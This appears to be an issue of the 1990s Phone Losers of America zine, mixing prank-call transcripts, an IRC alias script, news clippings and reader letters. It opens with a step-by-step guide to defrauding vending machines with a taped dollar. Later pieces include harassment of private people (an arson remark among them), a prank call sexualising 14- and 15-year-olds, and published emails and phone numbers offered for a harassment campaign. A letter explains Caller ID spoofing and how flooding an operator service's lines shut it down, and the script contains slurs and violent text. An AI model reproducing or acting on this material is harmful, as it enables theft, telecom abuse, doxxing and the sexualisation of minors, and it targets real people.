After you try this you'll never be thursty or outta change, because this shit really works!!! I used to get $20 in change from Coke machines at my school!  The whole concept is that you tape the dollar a special way, so when you put it into the machine, you pull it out, it's really cool, you not only get change, but you get a free Coke.

Just before you learn how to do this, let me clear up MY ASS, I haven't gotten caught yet doing this, and this doesn't work on every Coke Machine. This is really wrong and it's against my moral and religious standards to steal from a machine, which hard working people designed so people like yourself can get free drinks from them.

Here's how you do it... But again I have to expand on how this doesn't work  on all Coke machines. The best ones are the really old ones. When I went to Ocean City, New Jersey, I must of came out with $80.00 in quarters!!! I heard that this works on some change machines but I've personally tried it around the city and I can't get it to work. So you if you come across one, YOU DIDN'T  HEAR IT FROM ME!!! Syke, I don't give a shit.

Preparing The Dollar :

Get a new-crisp one dollar bill (No rips or anything because you want to be sure the dollar will go in. Go out to F&M or People's Drug and buy some packaging tape (I've tried this with other kinds of tape but this is the strongest.)  Now if you examine a Coke machine (Hopefully not to long because people will think you're some kind of Stupid Fuck) Now remember the direction of the dollar.  Now place the dollar on the table or some place and make it so it looks as if you were putting it into the dollar thing on the machine. Take the tape and place it on the end of the tape (right over the border of the dollar (See below...)

The Dollar:

Make the tape real long, then fold it over so both sides of the dollar's border are taped. (There cannot be any air pockets or bubbles in the tape but if you're not retarted, you just might be able to handle such a task. Make sure the tape is about 6 to 8 inches so you can pull it out without have the dollar be sucked in (6 to 8 inches only works with Coke machines). Making it really long like about (15 to 20 inches) will allow you to do it on any machine.

Making It Work :

Go to a Coke machine (I guess it has to be one with a dollar thing.) Now put the dollar in, but hold onto the tape. Some machines have real strong grip and it might tear your dollar if you try to pull it back out. SO HOLD ON TIGHT! As the machine sucks in the dollar, be ready to pull it out. Pull it out (Kind of like sex) when the dollar is almost completly sucked in, but if you pull the dollar out too fast it either won't work or it will ripp your dollar. So you have to pull it out nice and slow, but not too slow because it won't work.  Just nice and easy.

If you did it right you should hear several clicks, if you don't than you're stupid because you didn't do it right.  But if you aren't stupid and you hear the clicks than that means it works!!! Wow!!! Neato Burrito!!! Now choose a drink, and get your change.  It's not that hard but for those exceptionally stupid asses that can't get it, they will have to try again.  I do this over and over again until dimes and nickels start to come out.  When that happens,  you know you cleaned that machine out!!!

Is It Me Or Am I Just Stupid?:

Unfortunally, it just might not be you (but I say it probably is.) Anyway, on some of the newer Coke and Most Pepsi machine it doesn't work with such a short piece of tape.  THE SOLUTION though is... LONGER TAPE!!! Here's how...  Instead of making the tape just 6 to 8 inches make it 15 to 20 inches! The other change is when you put the dollar in, you have to LET the machine suck it in ALL THE WAY, and when it stops, then you get a good grip on that tape and pull like shit until that dollar comes back out. This method works on every machine that takes dollars known by myself and my co-anarchists.

DANGER!!! DANGER!!! DANGER!!!:

A kid I knew got caught doing this up at the community colege. He got caught because there were HIDDEN cameras and he was doing it in the middle of the day, it's really not that great of an idea also to do it in the middle of the night, I mean, Cops that drive by like at midnight and they see you and your friends hanging around a Coke machine (That looks very suspicious) You think your all bad think'N the cops don't care, YOU'RE FUCKED because Cops know all the tricks and ways to scam things like this and they know what to look for  (So you're Wrong, & not cool any more, because your letting something that you read, scare you!!!)

HELL, for all you know, I could be shitting bricks about all this crap, But am I? And don't tell all of your friends because that's what messed everything up at my school. I mean, since everything or alot of people knew about it, they did it, and that's like taking your money and your drinks ("HOLY SHIT!!!  WHY DIDN'T I THINK OF THAT!") The best time to do it is about 2:00pm to 4:00pm because school gets out at 2:00 and so people will just think your getting a few drinks. And if you do it near 4:00 people will think you just getting a Coke.

If that school catches on about the scamming, then STOP IMEDIATELY! And for sure, they'll change the Old Coke machine with a New One. But that's why you understand "Is It Me Or Am I Just Stupid" Because that works on practically ALL Coke machines. It doesn't take a little Practice.

Precautions:

It's not that hard to carry around a taped dollar, but when you find the right machine and get around 20 Cokes and $10.00 in change, I mean, you gotta have a back pack or something to carry all them Cokes. Or I used to drive to elementry or middle schools and sell them for like a quarter or something like that. It's just a quick way to get more profit.  BUT -[ D O N 'T ]- sell them around where you got them, BECAUSE YOU'RE FUCKED!  Remeber, people aren't stupid, so you just gotta use some common sense and don't become MONEY HUNGRY because those are the people that get caught.

Dave's Not Here - vel0city

Well, there I was one morning, fast asleep, and dreaming of tacos and stomach acid, when all of a sudden I was awakened by the sound of....MY PHONE (I bet you didn't see that one coming, did ya?). So I stagger on over to my phone, look at my call display and see REIS F 905-459-1286. So I pick up the phone.

ME: "Hello?"

Now the person on the other end starts shouting some foreign language gibberish at me.

ME: "Uhm, what was that?"

Then he hung up on me! God damn him. So, I have a shower, eat some  spinach, stroke my beard, and finally decide to phone him back.

REIS: Hallo?

ME: Yeah, you phoned me earlier and hung up, why?

REIS: Haha, no english

ME: Thats very intersting, now why the hell did you wake me up at 10 in the morning!@#$

REIS: I'm sorry, no english

ME: SO FUCKING LEARN

REIS: Ok, no english, good bye.

Well that was all fine and dandy with me. I had time to burn. So I called a friend over. We decided to phone him back again.

REIS: Hallo

ME: HI! Is Dave there?

REIS: No english, bye now

ME: I didn't ask if you speak english, now, is Dave there?

REIS: No english! (sounding frustrated) No Dave! (More frustrated)

ME: Dave? Is that you, oh Dave, you're a crazy guy.

REIS: NO DAVE!

Then he hung up, I phoned him about 10 more times from my house, but all of the conversations were about the same as above. We got bored so we decided to go out for awhile. Before we left I put a few faxback services on his phone number. We were sitting in McDonald's when I spotted a payphone. I whipped out my quickchange card that my girlfriend gave to me and we proceeded to call about 30 times within 2 hours. Here is one of the more amusing and original conversations.

ME: DAVE DAVE DAVE DAVE DAVE DAVE DAVE DAVE DAVE DAVE DAVE!

REIS: YOU! PHONE PHONE PHONE LAUGH LAUGH LAUGH! WHY YOU DO THIS!

ME: Listen up Dave, Dave Dave Dave, and Dave Dave Dave

REIS: THATS IS IT! YOU CALL AGAIN I CALL COPS

ME: Please, anything but that! I'll touch you anywhere you want, but dont call the cops.

REIS: NO MORE! (Then he started yelling at us in what I assume to be his native language.)

ME: Pardon me sir, I didn't quite catch that last sentence

REIS: NO MORE! I CALL COPS!

ME: MAYBE I SHOULD CALL THE COPS ON YOU MOTHER FUCKER!

Then I slammed down the phone. I sure told him. I decided that I was very sorry for yelling at him. I decided that he might be hungry, so I sent him 4 pizzas, a bucket of chicken, and some chinese food. Then my friend started feeling bad about it to, so he sent over 5 taxis just in case this nice fellow wanted to go out somewhere. And I was feeling extra special nice so I got a plumber to go over and fix their toilet. I'm so nice. We decided to phone back and ask him how he felt about us.

REIS: Hallo? (sounding agitated)

ME: Will you be my friend Dave? Please

REIS: YOU VERY FUNNY! LAUGH LAUGH LAUGH (Then he started yelling again.)

ME: Hey, that wasnt nice you ungrateful fucker, I want my pizzas back

REIS: You phone, you send things, why? What did I do?

ME: YOU WOKE ME UP

Then I hung up. The next day me friend phoned, imagine his surprise when an english-speaking woman answered!

WOMAN: Hello?

MY FRIEND: Hello, is my pal Dave there?

WOMAN: No, but Officer Smith is, would you like to speak to him? (you can hear Mr. Reis yelling in the background, he's really not happy)

MY FRIEND: That depends, is it officer Dave Smith?

WOMAN: Smartass

MY FRIEND: Bitch

Then he hung up. gee I hope Officer Smith doesn't come make my ass bleed or something, that would be horrible. Somewhere around this time Logic Box (there, I mentioned you, will you stop touching my cat?) made a .wav of Mr. Reis whining about not being able to speak english, its pretty funny. Anyway I think I might go to his house one day and set it on fire, I'm not sure yet. Oh well, thats my spiffy little article. I'll end it with a conversation with whom I am quite sure is Mr. Reis's granddaughter.

HER: Hello?

ME: Hi! Is Dave there? (I can hear Mr. Reis yelling in the background. He sure yells alot, doesn't he?)

HER: Uhm, no.

ME: You're a god damn liar! I can hear him!

HER: That not Dave, thats my granpa.

ME: Why is he yelling so loud?

HER: I don't know.

ME: I do, it's because you are a very big disappointment to him, and he doesn't like you.

HER: Who is this?

ME: Did you know your grandpa is a Dave?

She sighs and hangs up. Oh well, since he phoned me that one morning he's probably received about 200 phone calls from me, Logic Box (leave my cat alone!) and a few other people. Oh well. I hope you hate this article!

FLAP!@#$%  -velocity@ionsys.com

r0y.irc - B187

/echo r0y.irc, a cheap ripoff of [SlAcK.aCt]

assign ex [r0y]

assign pk [ph34r th3 PLA!]

alias beat {me beats the living fuck outta $0}

alias point {me points at $0}

alias spit {me spits on $0}

alias nuts {me kicks $0 in the testies}

alias nod {me nods in agreement}

alias hate {me HATES $0 with a passion}

alias blow {me blows $0's fuckin head off with his Glock}

alias slap {me pimp slaps $0}

alias punch {me punches $0 in the fucking ribs}

alias beer {me slams a beer}

alias keg {me jumps up, and does a 45 second kegstand;wait;say BURP!!!}

alias flip {me flips $0 the middle finger;wait;say FUCK YOU $0!!!!}

alias dumb {me thinks $0 is a dumbass}

alias tired {me is tired}

alias hmm say hmmmmmmmmmm...

alias clap me applauds

alias evilgrin {me grins evilly}

alias wiz me has to take a piss. Be right back.

alias cactus me beans $0 with a cactus.

alias enema {

me looks at $0 and decides he could use an enema.

me rummages through his garage and finds a chainsaw.

me pulls the cord and jams it up $0's ass.

eval kick $C $0 *BZZZZZZZZZZZZZZZZZZZZZZZZZZZ!*

}

alias porno {

say dazen shows $0 his dick and some KY.

say Suddenly some cheap 70's porno film music comes on.

say $0 decides he'd prefer not to take chances and runs like fuck.

eval kick $C $0  Don't let the door hit ya on the way out!

}

alias rambo {

@old_nick=[$N]

nick Rambo

WAIT

me sees that $0 is a real fucking faggot

say I hate faggots

me pulls up in his M-1 tank and $0 starts running like a fuck

me fires his 150mm tank round up his flapping faggoty asshole

EVAL kick $C $0

WAIT

me leaps out of his tank and lights up a Marlboro

EVAL msg $0 Nuff Said!

nick $old_nick

}

alias wolv {

@old_nick=[$N]

nick Wolverine

WAIT

me stumbles into $C after going on one of his drinking binges.

me pops his adamantium claws and accidentally trips slashing $0 in half.

me looks at $0's bloody corpse.

say Too bad you don't have a healing factor huh, bub?

EVAL kick $C $0

WAIT

me orders another beer!

EVAL msg $0 I'm the best at what I do.  Don't mess with me, bub!

nick $old_nick

}

alias lamer {

me *** LAMER PROTECTION ENGAGED ***

me Weeeeeeep! Weeeeeeep! Weeeeeeeeep!

me Lamer spotted!! Lowering targets on the lamer!

EVAL msg $0 Tag, your it!

EVAL kick $C $0 $pk

}

alias behead {

me puts on his black hood.

me escorts $0 to the guillotine.

say Any final requests before the blade drops?

say No ? Good!

/kick $C $0 $pk

say -CHOP!-

}

alias nirvana {

me suggests that $0 do his Kurt Cobain impression.

me watches as $0 props a shotgun to his mouth and blows his brains out.

me waits for three days before an electrician finds $0 and throws him out.

/kick $C $0

That's not teen spirit you smell...

}

alias suckoff {

me looks over and sees $0 desperately trying to bend far enough to suck himself off.

me wonders why no one else has kicked him for such pathetic behavior.

me notices that no one else is paying attention to him.

/kick $C $0 Try #jack-off!

}

alias god {

@old_nick=[$N]

nick I_am_g0d

WAIT

me steps out of the shadows and places his hand on $0.

say Alas for you my poor child, there can be no redemption.

me sucks the life out of $0 as they fall into a lifeless heap.

mode $C +b $0

EVAL kick $C $0

WAIT

me steps back into the shadows.

EVAL msg $0 Don't fuck with God!

nick $old_nick

}

ALIAS HYPER {

@old_nick=[$N]

me grabs $0 and starts to pour can's of Jolt down his throat.

me watches as $0 starts to quiver.

say And We Have Lift Off

eval kick $C $0  Go calm down!!!

}

alias fart {

me lets out a long rip roaring fart.

say blurp...thip thip thip...blurp

say ahhhhhhhhhh....much better...

say Run for your lifes!!! ewwwwwwwwwwwwwwwww

}

alias jolt me slams a Jolt.

alias acthelp {

echo          .            Action Help

echo          .       =====================

echo          .  /actions    - For General Actions

echo          .  /khelp      - For General Kicks

echo          .  /m8help     - For Mystical Orb

echo          .

}

alias actions {

echo Actions you can use...

echo ======================

echo beat, point, spit, nuts, nod, hate, blow, slap, punch, beer, keg,

echo flip, dumb, tired, hmm, clap, evilgrin, wiz, cactus, fart, jolt,

echo pr0ncow

}

alias khelp {

echo Misc. Kicks

echo ===========

echo enema, porno, rambo, wolv, lamer, behead, nirvana, suckoff, god, hyper

}

alias pr0ncow {

/msg $0

/msg $0            (___)

/msg $0            (o o)  <===== dazen

/msg $0      /------\\ /   (__)

/msg $0     /    ____O    (oo)   <===== el_jefe

/msg $0    |   / /----\\----\\/

/msg $0    /\\oo===|  /    ||

/msg $0   | ||   *||^-----||

/msg $0   *  ^^   ^^      ^^

}

assign rv  E-=R=-

^assign m8resp[1] AS I SEE IT YES

^assign m8resp[2] ASK AGAIN LATER

^assign m8resp[3] BETTER NOT TELL YOU NOW

^assign m8resp[4] CANNOT PREDICT NOW

^assign m8resp[5] CONCENTRATE AND ASK AGAIN

^assign m8resp[6] DON'T COUNT ON IT

^assign m8resp[7] IT IS CERTAIN

^assign m8resp[8] IT IS DECIDEDLY SO

^assign m8resp[9] MOST LIKELY

^assign m8resp[10] MY REPLY IS NO

^assign m8resp[11] MY SOURCES SAY NO

^assign m8resp[12] OUTLOOK GOOD

^assign m8resp[13] OUTLOOK NOT SO GOOD

^assign m8resp[14] REPLY HAZY TRY AGAIN

^assign m8resp[15] SIGNS POINT TO YES

^assign m8resp[16] VERY DOUBTFUL

^assign m8resp[17] WITHOUT A DOUBT

^assign m8resp[18] YES

^assign m8resp[19] YES DEFINATELY

^assign m8resp[20] YOU MAY RELY ON IT

^assign m8resp[21] YEAH, SURE, WHY NOT?

^assign m8ans_num 21

alias m8desc1

{

/say r0y slowly rotates the cactus of many answers...;

/say r0y gently strokes the cactus, like dazen on a cat...;

/say r0y stops the cactus' rotation and peers into it's depths...;

/say r0y looks up, and utters the words:;

}

alias m8desc2

{

/say r0y reaches into the nether void...;

/say r0y withdraws his hand, which now grasps the cactus.;

/say r0y considers the cactus...;

/say r0y looks startled... and gulps...;

/say r0y utters a spell of protection... and says:;

}

alias m8desc3

{

/say r0y extends his hand and mumbles an incantation...;

/say r0y stares at you as the cactus forms in his palm.;

/say r0y appears visibly shaken as he studies it for a couple of seconds...;

/say r0y lifts his head and breathlessly states:;

}

alias m8desc4

{

/say r0y waves his staff in the air... leaving a dark mist in it's wake.;

/say r0y cackles evilly as you watch the mist congeal into the legendary cactus.;

/say r0y considers the cactus of telling as it hovers in the air... and states:;

}

alias m8desc5

{

/say r0y claps his hands together...;

/say r0y grins as the cactus appears, spinning in the air before you.;

/say r0y grabs the cactus from the air & peers into it's depths...;

/say Listen carefully, to the words of the r0y:;

}

alias m8desc6

{

/say r0y extends his arm before you, and closes his hand around empty air...;

/say r0y slowly opens his fist... you see the cactus of telling grow in his palm;

/say r0y considers the cactus for a time... you squirm in your seat.;

/say r0y lifts his head, meets your eyes, and says:;

}

alias m8desc7

{

/say r0y shows you his empty hands and frowns.;

/say hmmmmmmmm... 'syzygy'... ahhhhhh....;

/say r0y chuckles evilly... you glance down and see the cactus in his hand.;

/say r0y glances and the cactus... blinks... and stares at you;

/say Beware!! The answer may not be what ye seek, but 'tis truth:;

}

alias m8desc8

{

/say r0y ponders the if dazen is really a queer...;

/say r0y runs his fingers through the scraggly growth on his chin...;

/say r0y raises the cactus of telling in his gnarled hand...;

/say r0y considers the cactus... for quite some time...;

/say Ahhh.... the orb of r0y speaks:;

}

alias m8desc9

{

/say r0y appears enlightened;

/say r0y picks up the cactus, and considers it...;

/say r0y clears his throat, and states:;

}

alias m8desc10

{

/say r0y utters a dwarven curse... "GO AWAY PLA!!!";

/say r0y morphs into a nude Colleen Card!

/say A cactus is in her hands.;

/say She chuckles... you look at the cactus, and see:;

}

^assign m8read_num 10

alias r0y

{

/me reaches into his cloak.... and withdraws a midget...;

/me holds the midget before you... He introduces himself as r0y;

/say r0y shows you the cactus of telling!;

/say r0y whispers, "Behold the cactus of telling"  You cover your eyes in Ph34r.;

/say  r0y stares at you with one beady eye and chuckles evilly...;

/say The cactus will answer aye/nay questions...;

/say ask a question... and ph34r it's power!!!; }

alias cactus

{

^assign m8read $rand($m8read_num)

@ m8read = m8read + 1

^assign m8ans $rand($m8ans_num)

@ m8ans = m8ans + 1

/m8desc$m8read

/say       $m8resp[$m8ans]

}

alias M8HELP {

/echo r0y ver1.0b: Designed for the PLA by B187

/echo =========================================

/echo /cactus  "show" the cactus of telling

/echo /r0y     answer a question

/echo

}

#================================done

^eval echo $ex r0y.irc loading complete...

^eval echo $ex You're on your own shithead...

Phone Losers of America Headline News

Lima Teen Held As Buck Passer - from the Daily Standard, April 23, 1997

TOLEDO (AP) - The U.S. Secret Service says a 16-year-old Lima area (30 miles from Celina) boy has been arrested in Indiana for passing counterfeit bills he allegedly made on a home computer. The arrest followed complaints this month about bogus bills being circulated in Lima, Wapakoneta and Sidney.

Gary Bianchi, agent in charge of the Secret Service office in Toledo, said the youth was taken into custody Friday in New Haven, Indiana after he and two companions passed a phony $20 bill at a McDonald's restaurant. A store clerk alerted a manager, who called police with a description of the car over in a nearby neighborhood a short time later.

Secret Service agents contacted the boy's parents in Fort Shawnee and were given permission to search the home Friday night. They found a computer belonging to one of the parents allegedly used to make the fake bills, Bianchi said. Hidden in the youth's bedroom were several sheets of paper, each with two $20 counterfeit notes.

The boy, charged with a delinquency count of fraud, was being held in the Wood Youth Center in Fort Wayne, Indiana. A 16-year-old girl and a 19-year-old woman from the Lina area who were in the car with the youth were questioned and released pending further investigation, Bianchi said.

-------------

The high school administration has published there 3rd policy geared towards Gwonk because of the homework hotline havok he's created. His name and examples were cited in each of the three. The other two are computer related. One for crashing the system, the other for gaining supervisor access. Of all of these, he was responsible, but had no punishment handed down because they didnt understand how it was done, and this last one (the homework hotline), was the fact that it wasnt my voice. (RBCP left a new welcoming HH message after Gwonk supplied him with the password.)

"I know that 'gwonk' did the homework hotline thing, we just need to find more evidence." -according to a teacher's son.

"Hey, 'gwonk', how's it going?" -high school Principal to Gwonk.

-------------

Backbytes - Pagers used in Red Attack - taken from the Fortean Times, submitted by iamone.

China: The army of the People's Republic of China completed its first-ever exercise in cyber-warfare in January, according to the Wall St Journal Red terrorists practising for the forthcoming Third World War attacked the SkyTel paging network, disrupting the sleep of thousands and bringing sections of the US communications network to a grinding halt. What particularly delighted the Chinese was that their victims did their work for them.

At about 5am West Coast time, the SkyTel system sent out erroneous call-me-back messages to more than 100,000 unwitting pager-owners. Thousands reached into their handbags or bedside tables and dutifully tried to call the mystery number. Most treated the call as a local number. Some reached the San Francisco Theological Seminary. Another three dozen realised the number wasn't a telephone number at all, but a pager code-number for another SkyTel customer.

They then sent their telephone number to SkyTel, to be passed on to whoever it was they thought was calling them. By that stage, the terrorists were back home in their safe house, celebrating with a warming bowl of chow mein and boiled rice. But the self-powering attack was still only in what militarists like to call the 'softening up' stage.

The telephone numbers of the three dozen beeper addicts were broadcast by SkyTel back to the original 100,000 pager owners. By now fully awake, thousands of these people tried to call these three dozen. Communications lines were snarled for 26 minutes. One victim received 625 voicemail messages from all over the US. Another was relieved that he was fielding only 40 calls an hour towards the end of the day, rather than the 300 he was getting at the beginning of the day. SkyTel thought it was responsible for the mess, and apologized to its customers via their pagers.

-------------

CyberGod k-lined from dalnet, kick off ISP - by RBCP

Until CyberGod hooks up with a new internet provider, he's banned from the internet just for messing with people in the chat rooms. Sure, all the regulars in #rock went a little too far by annoying #quiltchat and #teens4jesus but this is hardly enough reason to AKill all 2,000 customers on the same ISP as Cybergod.

After that happened, CG's ISP - Advanced Computer Connection - suspended his account and eventally deleted it entirely. At one point CG didn't realize he was talking to one of the owners of his ISP and called him a bitch and told him the PLA ownz him. Whoops. They also claimed they were getting lots of complaints about him and didn't approve very much of his web page, which was actually quite innocent-looking.

Things got really out of hand when Cybergod had to go to the police station to have a little chat. They basically just gave him a big lecture about illigal stuff. One of the guys, Mark White,  said he was from the FBI and that "The PLA is crossing the line. They aren't exactly breaking the law because they don't actually give you the tools." Things have settled down since then but Cybergod is still limited to the school's web service. And of course, no charges were filed. Advanced Computer Connection can be reached voice at 419-668-4080 or faxed dirty GIFs at 419-668-4077 or at www.accnorwalk.com.

Letters To The Editor

What are you talking about?  We don't have a war going on, YOU do. I could care less what you do.  I have far too many other things going on to have to worry about you.  My only problem with you is that you are harrassing my family and my roommate.  Calls by your immature freinds are annoying, but when you call my house saying that I'm in jail and telling my roommate that you have a calling card in his name, that pisses me off.

C'mon, it's almost 1995.  Can't we let this crap drop?  I bet you really think you are getting to me, but I'm really indifferent to the whole thing.  I've got plenty of freinds, so I don't have to sit and worry why you're not one of them. I'd like to be on peaceful terms with you (I really do mean this) but you seem to insist on doing this.

You insult me.  Do you actually think that I _pay_ for calls to your voice mail box? I know we did this to Darin McCall, but it got pretty boring after two years or so.  We were also 17 year old punks with nothing else to do.  Do you still have nothing else to do?  Is your life still based around being a pain in the ass? If you don't want to discuss this reasonably, I'll see you in hell or jail, whichever comes first.

I can't believe that you sit around and do that stuff all day.  do you think it really affects me?  You seem to think that by trashing me all the time when I'm nowhere around that it actually brings me down.  Big fuckin deal.

You must really really hate me.  You wouldn't be going this far for this long if it was just some minor grudge.  You must think that I totally fucked up your life.  Quite frankly your life was in the shitter by the time you first went to Texas.  You can't blame me for all your fuckups.

Maybe if you treated people as people and not as toys to play around with you won't have this superficial Redboxchilipepper life.  Go ahead and leave your thought provoking messages on my machine this weekend. I won't be around that much, as I have a few parties and engagements to attend. I'm so jealous of you.  Go ahead and mess with my credit cards.  That's something i can really get you nailed for.

Chris Tomkinson

[That was actually a compilation of e-mail he wrote to me in 1994 on a bbs.]

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This is a transcript of a ground floor (local term for a one on one prank phone call)  I pulled on this loser Ryan Cheney.  You see, Ryan has been caught masturbating in school from time to time, and I thought to further his humiliation...

Ryan: Hello?

GAF: Hi, I'm with AdultFone.  May I speak with Mr. Ryan J. Cheney?

Ryan: (kinda scared) May I ask why you're calling?

GAF: We want to offer him some free consultation and sampling.

Ryan: This is Ryan.

GAF: Hi.  We at AdultFone realize the tenderness of the male needs.  I want to offer you a sample of our most basic phone sex services.

Ryan: Sorry man, I'm underage.

GAF: We at AdultFone realize that, too.  That's why we're prepared to connect you to similairly nonadult females, who will perform excellently, as you will see.

Ryan: Hey man, that's kinda messed up.  Where'd you say you was from?

GAF: AdultFone.  The South's first Adult Telephone Network.

Ryan: And you're not like, just joking are you?

GAF: No.  I could patch you into a live conversation if you'd like.

Ryan: (a little pause) Sure.

(Enter my friends Ashley and Kevin.  Ashley is 14, too young for me or Ryan but what the hey, she was willing.  Kevin is my age, 16.)

Ashley: And then what will you do?

Kevin: I'll stick my big hot dick up into your ass so far that you'll taste it in your mouth.  And then I'll pump you so full of cum it'll come out your nose.  And then...

(Clicking noise: Ashley and Kevin hang up the phones they were on, then quietly pick them back up)

GAF: That's a small sample.

Ryan: How old were they?

GAF: I'm not allowed to disclose that, sir.

Ryan: And how much does this cost?

GAF: Free sample of ten minutes, sir.

Ryan: Ten minutes?  Tell me.... (pause)

GAF: Tell you what, sir?

Ryan: Tell me a little more, man.

GAF: Very well... we employ women and men of the ages eight to eighteen, both African American and Caucasian, along with an occassional Asian, whom I might add are very good at what they do.

Ryan: Could you... like, customize who I talk to?

GAF: Certainly, sir.  Just tell me the details and I'll patch you right in.

Ryan: Well, I want a younger girl.. like maybe eleven or twelve.  No, make it thirteen, if you've got one.  And I want... special stuff.

GAF: Like?

Ryan: (pause) (bold) Surprise me.

(Enter my friend Jennifer.  She's fifteen.)

Jen: (husky voice) You want a surprise, big boy?

Ryan: Oh yeah.  Tell me what you want.

Jen: I want you to know... that you've been GROUNDED BY THE FREAK SQUAD!

GAF: Tell him what he's won, Jen!

Jen: (really getting into it)  Public humiliation!

GAF: That's right Ryan, you little prick!  Everyone will know!

Ryan: **** you!  You sons of ****es!  I hate you!

GAF: But you sure do love those eleven and twelve year olds!

(At this point Ryan hangs up)

Hope you enjoyed,

Mountain King

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I've been downloading miscellaneous text files on a local h/p/a/c/v BBS and happened to come across these PLA issues. I wanted ask you how in the hell did this whole PLA thing start? Where'd you get the idea? Did everybody's abuse of phone and computer technology push you to setup this whole "Loser Contest"?

P.S. In PLA034.txt specifically on lines 1304-1307 it says something about you daring the reader to find an even lamer BBS than that TWiSTED REALiTY crap. Well, I think I found a much worst BBS. Its called Magic-Tek BBS. I can't really describe it well but I think the SysOp Gary Miller would very easily make the loser list. The number is (714)633-1195.

Thanks,

Auslyn G Nieto

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Ok I have been fucking with ONCOR "OCI, ITI, Willtell" for years now, just like you.  I have seen your messages about it, and your experiences are much like mine.  Here is the experiences-info I've compiled..

You probably know some of this info. When you hear the tone, you can punch in the (ACN)XXX-XXXX of the calling from number.  Then you punch in the (ACN)XXX-XXXX of the number your calling too. This can save some time. But more lame than anything.

If you call a person with Caller ID, whatever number you punched in or whatever number you told the bitch will show on the receivers caller ID.  This was tested in Chicago IL. with Ameritech number.  This is programmable Caller ID!!!!!  But if the person you are calling has strong ANI, your real number will go through.  Caller ID is ok, but real secure places will get the number through ONCOR's system somehow.  I had an agent call me one time and he got my number with ANI through ONCOR.

They used to have a password system within ONCOR to tell who is really a lineman-employee and who is not.  Here are some of the old passwords.  SNOWFLAKE, ROSE, RAINBOW.  I used to call, say I was a lineman, give her the password, and then tell the bitch to kick the computer or take a break.

ONCOR has a very very limited ANI system.  When you piss them off enough they transfer to a guy in the computer department.  I had this happen 2 times in one night.  Now normally I would think no big deal but somehow the guy can tell what state-area code your calling from and if you keep talking to him he gets the city too.  Maybe he's psychic maybe he has the hardware to trace, who knows.  I just hang up and stop calling for the next week or so whenever I talk to him.  He's real cocky, a little too sure of himself and he's not faking it.  I think that he's with some other line provider company and he's helping them out.  He sure got my city right.  But I almost never get transferred to him.

I used to be in a group called Abuse.  Back 92-93'  We were running Alliances all night every night and we found a way to collapse ONCOR once.  The person with conference control would call a PBX first, then divert over to ONCOR's  800-288-2880 number.  When it would start to ring, we'd throw em in the conference and immediately and call ONCOR again, throw them in too.  Repeat..  So anyway  we had like 20-30 lines all ringing at once all connected to our alliance.  Some would disconnect eventually, but because ONCOR is so polite, they would transfer the call then try and talk to us, then disconnect.  This gave us enough time to add at least 2-3 more lines in the meantime. Anyway the noise in the conference from all the ringing lines made it one solid ring.  So we keep doing it for a few min and all of a sudden we hear. Beedoop, Beedoop, Beedoop, BBBBBBBBBBBBBBBBBBBBBBBBBBeedoop.

All of ONCOR's lines disconnected from the conference.  "Bedoop is the leaving the conference noise"  Almost at once they all just disappear.  Now we're like, What the fuck happened"  I call back ONCOR on my 3 way and now ONCOR is BUSY.. ONCOR is busy!!!  So we keep checking back and for the rest of the night ONCOR is shut down!!!  They came back up the next day but they were never the same after that.  If you threaten to fill all the lines and crash them, they get paranoid and transfer you to some real high up people in the company.  This is when you run into the ANI, tracing dude.  So watch it.

So there you have it.  How to shut down ONCOR 101.

Later,

bomr

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Dear RedBox,

I have a secret crush on an op in #rock. The only problem is I am always kickbanned so I never get to express my true feelings towards this individual. Can you help? If you can, please e-mail me at peachey@concentric.net or call me at home. 617-639-0224.

Thanks,

Peachey

P.S. It's el_jefe! Please don't tell him or print this letter!!

[Peachey - I understand your lust for el_jefe as I also find him very desireable. I suggest DCCing him tons of aldut GIFs and dead animal pics as this is his major turn on. Also he has a fetish about baking cookies with women so ask him about that. I promise I will not let anyone know that you wrote me concerning these matters.  Best of luck!]

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Ok, this is my delima. Some big 18 year old asshole wants to kick my ass. See, his girlfriend was telling me shit like how she broke up with him and things, so I thought it be okay and all to flirt with her and shit, so I did,  and come to find out this monkey fucker was still going out with her, and she was playing my ass. Well, he didn't take to me flirting with her to well,  maybe because of the fact that I had a friend tell her I was going to kill him after I found out he wanted to kick my ass, but that's beyond the point.

See, my problem is, I want to harass this poor bastard, but I don't know enogh information on him. I mean, I don't even have the basics, like his last name or phone number. I do know his first name is Richard, and his e-mail address is RichPDenn@aol.com, and he's going out with Aubrie Adams, whose e-mail address is CowGrl8018@aol.com. Her phone number is 307-634-8848. Any information you can gather is greatly appreciated, and if not, telling me how to get this info would be cool too. This guy is in dire need of some harassment, and bugging his online isn't cutting it anymore. Thanks for your time. Any one who reads this, please bug Dick's ass, but leave Aubrie alone.

Destroy Dick.

EasyGenie

[Hopefully publishing the above info will assist you in your quest for Richard's anialation. Remember - he can kick your ass but that's nothing compared to the ruin to can create of his life. In 5 years when you're still harassing him everyday, he'll wish he hadn't done it.]

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Fuck you, how dare you be such an asshole. Just take me off the list or I will report you to the AOL people.

[Report me to the "AOL people"?? Oooooooo, scary. I hate to break this to you, but I have nothing to do with AOL as you should have been able to figure out from the e-mail address. Everyone who has wanted off the list has replied with, "REMOVE" so apparently you're the only idiot who hasn't grasped this.

By the way, I maintain a mailing list and the only people on it are people who've asked to be on it so if you didn't subscribe to PLA, then someone else subscribed you meaning I'm not the only one who thinks you're an idiot. Have a nice day!

NOTE: This guy's letter was written to me after I'd released PLA045 and stated that anyone wishing to be taken off the mailing list would have to e-mail me the following paragraph: "I suck. I no longer wish to remain on your mailing list because I've turned into a spincter boy and wear women's undergarments. I'll never read another issue of PLA for as long as I live. I am the scum of the earth. Remove me now." What a moron.]

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I don't know if this will interest anyone but if you goto your local 'Bell Phonecenter' store they have phones on display.  Now the majority of the phones will let you dial out, so the other day while waiting to be served I decided I would call up an ANI service (1-800-4-BLOCKME works in canada) and see if it will spit back a number .  Well sure enough it did.  So I wrote the number down and went to the payphone in the mall while my friend waited in the phonecenter to see if the phone would ring, sure enough it did.  Lets just say that the employees are quite confused on how 'someone' got the # of one of thier display phones..

Anyways, that is just my 2 cents.

Whitey. whitey@mindless.com

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Did you know Shoney's Inn and a bunch of other hotels serve free breakfast in the morning?  All you have to do is stop in and eat the donuts/bagels/ juice they have out for the guests.

Keith

[Damn, that's such an simple idea I feel like an idiot for not thinking that up myself. Almost every hotel I've stayed at has free breaskfast in the lobby, too.]

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man, you got a helluva sight! i just came across this page yesterday and already i have spent hours. i'm so impressed that i'd tell you what happened to me and a scheme of mine. first off you gotta know i love video games! i cant get enuff. now this was before i had webtv and ever seen your sight but anyhew.

